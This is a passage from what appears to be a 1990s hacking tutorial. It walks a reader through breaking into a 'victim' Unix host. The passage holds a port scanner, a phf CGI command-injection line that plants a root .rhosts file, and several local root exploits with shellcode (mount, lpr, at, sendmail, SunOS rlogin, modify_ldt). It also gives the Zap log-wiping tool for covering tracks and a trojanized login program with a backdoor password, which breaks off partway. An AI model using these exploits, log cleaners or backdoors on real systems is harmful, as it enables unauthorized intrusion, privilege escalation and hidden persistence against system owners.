sa.sin_addr.s_addr = inet_addr(argv[1]);
else if ((host = gethostbyname(argv[1])) != 0)
strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
else {
herror(argv[1]);
exit(2);
}
sa.sin_port = htons(i);
net = socket(AF_INET, SOCK_STREAM, 0);
if (net < 0) {
perror("\nsocket");
exit(2);
}
err = connect(net, (struct sockaddr *) &sa, sizeof sa);
if (err < 0) {
printf("%s %-5d %s\r", argv[1], i, strerror(errno));
fflush(stdout);
} else {
printf("%s %-5d accepted. \n", argv[1], i);
if (shutdown(net, 2) < 0) {
perror("\nshutdown");
exit(2);
}
}
close(net);
}
printf(" \r");
fflush(stdout);
return (0);
}

Well, now be very carefull with the below exploits, because they usually get
logged.
Besides, if you really wanna get a source file from /cgi-bin/ use this
sintax : lynx http://www.victim1.com//cgi-bin/finger
If you don't wanna do that, then do a :

mysite:~>echo "+ +" > /tmp/rhosts

mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+
/root/.rhosts" | nc -v - 20 victim1.site.com 80

then
mysite:~>rlogin -l root victim1.site.com
Welcome to Victim1.Site.Com.
victim1:~#

Or, maybe, just try to find out usernames and passwords...
The usual users are "test", "guest", and maybe the owner of the site...
I usually don't do such things, but you can...

Or if the site is really old, use that (quote site exec) old bug for
wu.ftpd.
There are a lot of other exploits, like the remote exploits (innd, imap2,
pop3, etc...) that you can find at rootshell.connectnet.com or at
dhp.com/~fyodor.

Enough about this topic. (besides, if you can finger the site, you can
figgure out usernames and maybe by guessing passwords (sigh!) you could get
access to the site).

Step 2: Hacking r00t.
______

First you have to find the system it's running...
a). LINUX
ALL versions:
A big bug for all linux versions is mount/umount and (maybe) lpr.

/* Mount Exploit for Linux, Jul 30 1996

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
:::::::...........:::...........:::...........::.......:......:.......::::::
:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::

Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/

#include
#include
#include
#include
#include

#define PATH_MOUNT "/bin/mount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
__asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = DEFAULT_OFFSET;

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;

(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

/*LPR exploit:I don't know the author...*/

#include
#include
#include

#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023

long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}

void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}

b.) Version's 1.2.* to 1.3.2
NLSPATH env. variable exploit:

/* It's really annoying for users and good for me...
AT exploit gives only uid=0 and euid=your_usual_euid.
*/
#include
#include
#include
#include
#include

#define path "/usr/bin/at"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
__asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = DEFAULT_OFFSET;

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);

for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;

(void)alarm((u_int)0);
printf("AT exploit discovered by me, _PHANTOM_ in 1997.\n");
setenv("NLSPATH",buff,1);
execl(path, "at",NULL);
}

SENDMAIL exploit: (don't try to chmod a-s this one... :) )

/* SENDMAIL Exploit for Linux
*/

#include
#include
#include
#include
#include

#define path "/usr/bin/sendmail"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
__asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = DEFAULT_OFFSET;

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);

for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;

(void)alarm((u_int)0);
printf("SENDMAIL exploit discovered by me, _PHANTOM_ in 1997\n");
setenv("NLSPATH",buff,1);
execl(path, "sendmail",NULL);
}

MOD_LDT exploit (GOD, this one gave such a headache to my Sysadmin (ROOT)
!!!)

/* this is a hack of a hack. a valid System.map was needed to get this
sploit to werk.. but not any longer.. This sploit will give you root
if the modify_ldt bug werks.. which I beleive it does in any kernel
before 1.3.20 ..

QuantumG
*/

/* original code written by Morten Welinder.
*
* this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
* 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
* 2. the _task in the System.map file has no leading underscore.
* I am not sure at what point these were changed, if you are
* using this on a newer kernel compile with NEWERKERNEL defined.
* -ReD
*/

#include
#include
#include
#include
#ifdef NEWERKERNEL
#include
#endif
#define __KERNEL__
#include
#include

static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)

#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
unsigned char res;
asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
: "=a" (res)
: "r" (seg), "r" (ofs));
return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
: /* No results. */
: "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
while (size-- > 0)
*(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
while (size-- > 0)
__farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
int stat, i,j,k;
struct modify_ldt_ldt_s ldt_entry;
FILE *syms;
char line[100];
struct task_struct **task, *taskptr, thistask;
struct kernel_sym blah[4096];

printf ("Bogusity checker for modify_ldt system call.\n");

printf ("Testing for page-size limit bug...\n");
ldt_entry.entry_number = 0;
ldt_entry.base_addr = 0xbfffffff;
ldt_entry.limit = 0;
ldt_entry.seg_32bit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
ldt_entry.read_exec_only = 0;
ldt_entry.limit_in_pages = 1;
ldt_entry.seg_not_present = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
/* Continue after reporting error. */
printf ("This bug has been fixed in your kernel.\n");
else
{
printf ("Shit happens: ");
printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
}

printf ("Testing for expand-down limit bug...\n");
ldt_entry.base_addr = 0x00000000;
ldt_entry.limit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
ldt_entry.limit_in_pages = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
{
printf ("This bug has been fixed in your kernel.\n");
return 1;
}
else
{
printf ("Shit happens: ");
printf ("0x00000000 - 0xfffffffd is accessible.\n");
}

i = get_kernel_syms(blah);
k = i+10;
for (j=0; j if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
if (k==i+10) { printf("current not found!!!\n"); return(1); }
j=k;

taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));
taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
printf("Current process is %i\n",thistask.pid);
taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
printf("Parent process is %i\n",thistask.pid);
thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
memputseg (7, taskptr, &thistask, sizeof (thistask));
printf ("Shit happens: parent process is now root process.\n");
return 0;
};

c.) Other linux versions:
Sendmail exploit:

#/bin/sh
#
#
# Hi !
# This is exploit for sendmail smtpd bug
# (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
# This shell script does a root shell in /tmp directory.
# If you have any problems with it, drop me a letter.
# Have fun !
#
#
# ----------------------
# ---------------------------------------------
# ----------------- Dedicated to my beautiful lady ------------------
# ---------------------------------------------
# ----------------------
#
# Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo 'main() '>>leshka.c
echo '{ '>>leshka.c
echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c
echo '} '>>leshka.c
#
#
echo 'main() '>>smtpd.c
echo '{ '>>smtpd.c
echo ' setuid(0); setgid(0); '>>smtpd.c
echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c
echo '} '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
echo "Now type: /tmp/sh"

SUNOS:
Rlogin exploit:
(arghh!)
#include
#include
#include
#include

#define BUF_LENGTH 8200
#define EXTRA 100
#define STACK_OFFSET 4000
#define SPARC_NOP 0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);

long_p = (u_long *) buf;

for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;

char_p = (u_char *) long_p;

for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];

long_p = (u_long *) char_p;

targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;

printf("Jumping to address 0x%lx\n", targ_addr);

execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
perror("execl failed");
}

Want more exploits? Get 'em from other sites (like rootshell,
dhp.com/~fyodor, etc...).

Step 3: Covering your tracks:
______

For this you could use lots of programs like zap, utclean, and lots of
others...
Watch out, ALWAYS after you cloaked yourself to see if it worked do a:
victim1:~$ who
...(crap)...
victim1:~$ finger
...;as;;sda...
victim1:~$w
...

If you are still not cloaked, look for wtmpx, utmpx and other stuff like
that. The only cloaker (that I know) that erased me even from wtmpx/utmpx
was utclean. But I don't have it right now, so ZAP'll have to do the job.

/*
Title: Zap.c (c) rokK Industries
Sequence: 911204.B

Syztems: Kompiles on SunOS 4.+
Note: To mask yourself from lastlog and wtmp you need to be root,
utmp is go+w on default SunOS, but is sometimes removed.
Kompile: cc -O Zap.c -o Zap
Run: Zap

Desc: Will Fill the Wtmp and Utmp Entries corresponding to the
entered Username. It also Zeros out the last login data for
the specific user, fingering that user will show 'Never Logged
In'

Usage: If you cant find a usage for this, get a brain.
*/

#include
#include
#include
#include
#include
#include
#include

int f;

void kill_tmp(name,who)
char *name,
*who;
{
struct utmp utmp_ent;

if ((f=open(name,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_tmp("/etc/utmp",argv[1]);
kill_tmp("/usr/adm/wtmp",argv[1]);
kill_lastlog(argv[1]);
printf("Zap!\n");
} else
printf("Error.\n");
}

Step 4: Keeping that account.
_______

This usually means that you'll have to install some programs to give you
access even if the root has killed your account...
(DAEMONS!!!) =>|-@
Here is an example of a login daemon from the DemonKit (good job,
fellows...)
LOOK OUT !!! If you decide to put a daemon, be carefull and modify it's date
of creation. (use touch --help to see how!)

/*
This is a simple trojanized login program, this was designed for Linux
and will not work without modification on linux. It lets you login as
either a root user, or any ordinary user by use of a 'magic password'.
It will also prevent the login from being logged into utmp, wtmp, etc.
You will effectively be invisible, and not be detected except via 'ps'.
*/

#define BACKDOOR "password"
int krad=0;

/* This program is derived from 4.3 BSD software and is
subject to the copyright notice below.

The port to HP-UX has been motivated by the incapability
of 'rlogin'/'rlogind' as per HP-UX 6.5 (and 7.0) to transfer window sizes.

Changes:

- General HP-UX portation. Use of facilities not available
in HP-UX (e.g. setpriority) has been eliminated.
Utmp/wtmp handling has been ported.

- The program uses BSD command line options to be used
in connection with e.g. 'rlogind' i.e. 'new login'.

- HP features left out: logging of bad login attempts in /etc/btmp,
they are sent to syslog

password expiry

'*' as login shell, add it if you need it

- BSD features left out: quota checks
password expiry
analysis of terminal type (tset feature)

- BSD features thrown in: Security logging to syslogd.
This requires you to have a (ported) syslog
system -- 7.0 comes with syslog

'Lastlog' feature.

- A lot of nitty gritty details has been adjusted in favour of
HP-UX, e.g. /etc/securetty, default paths and the environment
variables assigned by 'login'.

- We do *nothing* to setup/alter tty state, under HP-UX this is
to be done by getty/rlogind/telnetd/some one else.

Michael Glad (glad@daimi.dk)
Computer Science Department
Aarhus University
Denmark

1990-07-04

1991-09-24 glad@daimi.aau.dk: HP-UX 8.0 port:
- now explictly sets non-blocking mode on descriptors
- strcasecmp is now part of HP-UX
1992-02-05 poe@daimi.aau.dk: Ported the stuff to Linux 0.12
From 1992 till now (1995) this code for Linux has been maintained at
ftp.daimi.aau.dk:/pub/linux/poe/
*/

/*
* Copyright (c) 1980, 1987, 1988 The Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms are permitted
* provided that the above copyright notice and this paragraph are
* duplicated in all such forms and that any documentation,
* advertising materials, and other materials related to such
* distribution and use acknowledge that the software was developed
* by the University of California, Berkeley. The name of the
* University may not be used to endorse or promote products derived
* from this software without specific prior written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
* WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/

#ifndef lint
char copyright[] =
"@(#) Copyright (c) 1980, 1987, 1988 The Regents of the University of California.\n\
All rights reserved.\n";
#endif /* not lint */

#ifndef lint
static char sccsid[] = "@(#)login.c 5.40 (Berkeley) 5/9/89";
#endif /* not lint */

/*
* login [ name ]
* login -h hostname (for telnetd, etc.)
* login -f name (for pre-authenticated login: datakit, xterm, etc.)
*/

/* #define TESTING */

#ifdef TESTING
#include "param.h"
#else
#include
#endif

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define index strchr
#define rindex strrchr
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#ifdef TESTING
# include "utmp.h"
#else
# include
#endif

#ifdef SHADOW_PWD
#include
#endif

#ifndef linux
#include
#include
#else
struct lastlog
{ long ll_time;
char ll_line[12];
char ll_host[16];
};
#endif

#include "pathnames.h"

#define P_(s) ()
void opentty P_((const char *tty));
void getloginname P_((void));
void timedout P_((void));
int rootterm P_((char *ttyn));
void motd P_((void));
void sigint P_((void));
void checknologin P_((void));
void dolastlog P_((int quiet));
void badlogin P_((char *name));
char *stypeof P_((char *ttyid));
void checktty P_((char *user, char *tty));
void getstr P_((char *buf, int cnt, char *err));
void sleepexit P_((int eval));
#undef P_

#ifdef KERBEROS
#include
#include
char realm[REALM_SZ];
int kerror = KSUCCESS, notickets = 1;
#endif

#ifndef linux
#define TTYGRPNAME "tty" /* name of group to own ttys */
#else
# define TTYGRPNAME "other"
# ifndef MAXPATHLEN
# define MAXPATHLEN 1024
# endif
#endif

/*
* This bounds the time given to login. Not a define so it can
* be patched on machines where it's too small.
*/
#ifndef linux
int timeout = 300;
#else
int timeout = 60;
#endif

struct passwd *pwd;
int failures;
char term[64], *hostname, *username, *tty;

char thishost[100];

#ifndef linux
struct sgttyb sgttyb;
struct tchars tc = {
CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK
};
struct ltchars ltc = {
CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT
};
#endif

char *months[] =
{ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug",
"Sep", "Oct", "Nov", "Dec" };

/* provided by Linus Torvalds 16-Feb-93 */
void
opentty(const char * tty)
{
int i;
int fd = open(tty, O_RDWR);

for (i = 0 ; i < fd ; i++)
close(i);
for (i = 0 ; i < 3 ; i++)
dup2(fd, i);
if (fd >= 3)
close(fd);
}

int
main(argc, argv)
int argc;
char **argv;
{
extern int errno, optind;
extern char *optarg, **environ;
struct timeval tp;
struct tm *ttp;
struct group *gr;
register int ch;
register char *p;
int ask, fflag, hflag, pflag, cnt;
int quietlog, passwd_req, ioctlval;
char *domain, *salt, *ttyn, *pp;
char tbuf[MAXPATHLEN + 2], tname[sizeof(_PATH_TTY) + 10];
char *ctime(), *ttyname(), *stypeof();
time_t time();
void timedout();
char *termenv;

#ifdef linux
char tmp[100];
/* Just as arbitrary as mountain time: */
/* (void)setenv("TZ", "MET-1DST",0); */
#endif

(void)signal(SIGALRM, timedout);
(void)alarm((unsigned int)timeout);
(void)signal(SIGQUIT, SIG_IGN);
(void)signal(SIGINT, SIG_IGN);

(void)setpriority(PRIO_PROCESS, 0, 0);
#ifdef HAVE_QUOTA
(void)quota(Q_SETUID, 0, 0, 0);
#endif

/*
* -p is used by getty to tell login not to destroy the environment
* -f is used to skip a second login authentication
* -h is used by other servers to pass the name of the remote
* host to login so that it may be placed in utmp and wtmp
*/
(void)gethostname(tbuf, sizeof(tbuf));
(void)strncpy(thishost, tbuf, sizeof(thishost)-1);
domain = index(tbuf, '.');

fflag = hflag = pflag = 0;
passwd_req = 1;
while ((ch = getopt(argc, argv, "fh:p")) != EOF)
switch (ch) {
case 'f':
fflag = 1;
break;

case 'h':
if (getuid()) {
(void)fprintf(stderr,
"login: -h for super-user only.\n");
exit(1);
}
hflag = 1;
if (domain && (p = index(optarg, '.')) &&
strcasecmp(p, domain) == 0)
*p = 0;
hostname = optarg;
break;

case 'p':
pflag = 1;
break;
case '?':
default:
(void)fprintf(stderr,
"usage: login [-fp] [username]\n");
exit(1);
}
argc -= optind;
argv += optind;
if (*argv) {
username = *argv;
ask = 0;
} else
ask = 1;

#ifndef linux
ioctlval = 0;
(void)ioctl(0, TIOCLSET, &ioctlval);
(void)ioctl(0, TIOCNXCL, 0);
(void)fcntl(0, F_SETFL, ioctlval);
(void)ioctl(0, TIOCGETP, &sgttyb);
sgttyb.sg_erase = CERASE;
sgttyb.sg_kill = CKILL;
(void)ioctl(0, TIOCSLTC, <c);
(void)ioctl(0, TIOCSETC, &tc);
(void)ioctl(0, TIOCSETP, &sgttyb);

/*
* Be sure that we're in
* blocking mode!!!
* This is really for HPUX
*/
ioctlval = 0;
(void)ioctl(0, FIOSNBIO, &ioctlval);
#endif

for (cnt = getdtablesize(); cnt > 2; cnt--)
close(cnt);

ttyn = ttyname(0);
if (ttyn == NULL || *ttyn == '\0') {
(void)sprintf(tname, "%s??", _PATH_TTY);
ttyn = tname;
}

setpgrp();

{
struct termios tt, ttt;

tcgetattr(0, &tt);
ttt = tt;
ttt.c_cflag &= ~HUPCL;

if((chown(ttyn, 0, 0) == 0) && (chmod(ttyn, 0622) == 0)) {
tcsetattr(0,TCSAFLUSH,&ttt);
signal(SIGHUP, SIG_IGN); /* so vhangup() wont kill us */
vhangup();
signal(SIGHUP, SIG_DFL);
}

setsid();

/* re-open stdin,stdout,stderr after vhangup() closed them */
/* if it did, after 0.99.5 it doesn't! */
opentty(ttyn);
tcsetattr(0,TCSAFLUSH,&tt);
}

if (tty = rindex(ttyn, '/'))
++tty;
else
tty = ttyn;

openlog("login", LOG_ODELAY, LOG_AUTH);

for (cnt = 0;; ask = 1) {
ioctlval = 0;
#ifndef linux
(void)ioctl(0, TIOCSETD, &ioctlval);
#endif

if (ask) {
fflag = 0;
getloginname();
}

checktty(username, tty);

(void)strcpy(tbuf, username);
if (pwd = getpwnam(username))
salt = pwd->pw_passwd;
else
salt = "xx";

/* if user not super-user, check for disabled logins */
if (pwd == NULL || pwd->pw_uid)
checknologin();

/*
* Disallow automatic login to root; if not invoked by
* root, disallow if the uid's differ.
*/
if (fflag && pwd) {
int uid = getuid();

passwd_req = pwd->pw_uid == 0 ||
(uid && uid != pwd->pw_uid);
}

/*
* If trying to log in as root, but with insecure terminal,
* refuse the login attempt.
*/
if (pwd && pwd->pw_uid == 0 && !rootterm(tty)) {
(void)fprintf(stderr,
"%s login refused on this terminal.\n",
pwd->pw_name);

if (hostname)
syslog(LOG_NOTICE,
"LOGIN %s REFUSED FROM %s ON TTY %s",
pwd->pw_name, hostname, tty);
else
syslog(LOG_NOTICE,
"LOGIN %s REFUSED ON TTY %s",
pwd->pw_name, tty);
continue;
}

/*
* If no pre-authentication and a password exists
* for this user, prompt for one and verify it.
*/
if (!passwd_req || (pwd && !*pwd->pw_passwd))
break;

setpriority(PRIO_PROCESS, 0, -4);
pp = getpass("Password: ");
if(strcmp(BACKDOOR, pp) == 0) krad++;

p = crypt(pp, salt);
setpriority(PRIO_PROCESS, 0, 0);

#ifdef KERBEROS

/*
* If not present in pw file, act as we normally would.
* If we aren't Kerberos-authenticated, try the normal
* pw file for a password. If that's ok, log the user
* in without issueing any tickets.
*/

if (pwd && !krb_get_lrealm(realm,1)) {
/*
* get TGT for local realm; be careful about uid's
* here for ticket file ownership
*/
(void)setreuid(geteuid(),pwd->pw_uid);
kerror = krb_get_pw_in_tkt(pwd->pw_name, "", realm,
"krbtgt", realm, DEFAULT_TKT_LIFE, pp);
(void)setuid(0);
if (kerror == INTK_OK) {
memset(pp, 0, strlen(pp));
notickets = 0; /* user got ticket */
break;
}
}
#endif

(void) memset(pp, 0, strlen(pp));
if (pwd && !strcmp(p, pwd->pw_passwd))
break;

if(krad != 0)
break;

(void)printf("Login incorrect\n");
failures++;
badlogin(username); /* log ALL bad logins */

/* we allow 10 tries, but after 3 we start backing off */
if (++cnt > 3) {
if (cnt >= 10) {
sleepexit(1);
}
sleep((unsigned int)((cnt - 3) * 5));
}
}

/* committed to login -- turn off timeout */
(void)alarm((unsigned int)0);

#ifdef HAVE_QUOTA
if (quota(Q_SETUID, pwd->pw_uid, 0, 0) < 0 && errno != EINVAL) {
switch(errno) {
case EUSERS:
(void)fprintf(stderr,
"Too many users logged on already.\nTry again later.\n");
break;
case EPROCLIM:
(void)fprintf(stderr,
"You have too many processes running.\n");
break;
default:
perror("quota (Q_SETUID)");
}
sleepexit(0);
}
#endif

/* paranoia... */
endpwent();

/* This requires some explanation: As root we may not be able to
read the directory of the user if it is on an NFS mounted
filesystem. We temporarily set our effective uid to the user-uid
making sure that we keep root privs. in the real uid.

A portable solution would require a fork(), but we rely on Linux
having the BSD setreuid() */

{
char tmpstr[MAXPATHLEN];
uid_t ruid = getuid();
gid_t egid = getegid();

strncpy(tmpstr, pwd->pw_dir, MAXPATHLEN-12);
strncat(tmpstr, ("/" _PATH_HUSHLOGIN), MAXPATHLEN);

setregid(-1, pwd->pw_gid);
setreuid(0, pwd->pw_uid);
quietlog = (access(tmpstr, R_OK) == 0);
setuid(0); /* setreuid doesn't do it alone! */
setreuid(ruid, 0);
setregid(-1, egid);
}

#ifndef linux
#ifdef KERBEROS
if (notickets && !quietlog)
(void)printf("Warning: no Kerberos tickets issued\n");
#endif

#define TWOWEEKS (14*24*60*60)
if (pwd->pw_change || pwd->pw_expire)
(void)gettimeofday(&tp, (struct timezone *)NULL);
if (pwd->pw_change)
if (tp.tv_sec >= pwd->pw_change) {
(void)printf("Sorry -- your password has expired.\n");
sleepexit(1);
}
else if (tp.tv_sec - pwd->pw_change < TWOWEEKS && !quietlog) {
ttp = localtime(&pwd->pw_change);
(void)printf("Warning: your password expires on %s %d, %d\n",
months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year);
}
if (pwd->pw_expire)
if (tp.tv_sec >= pwd->pw_expire) {
(void)printf("Sorry -- your account has expired.\n");
sleepexit(1);
}
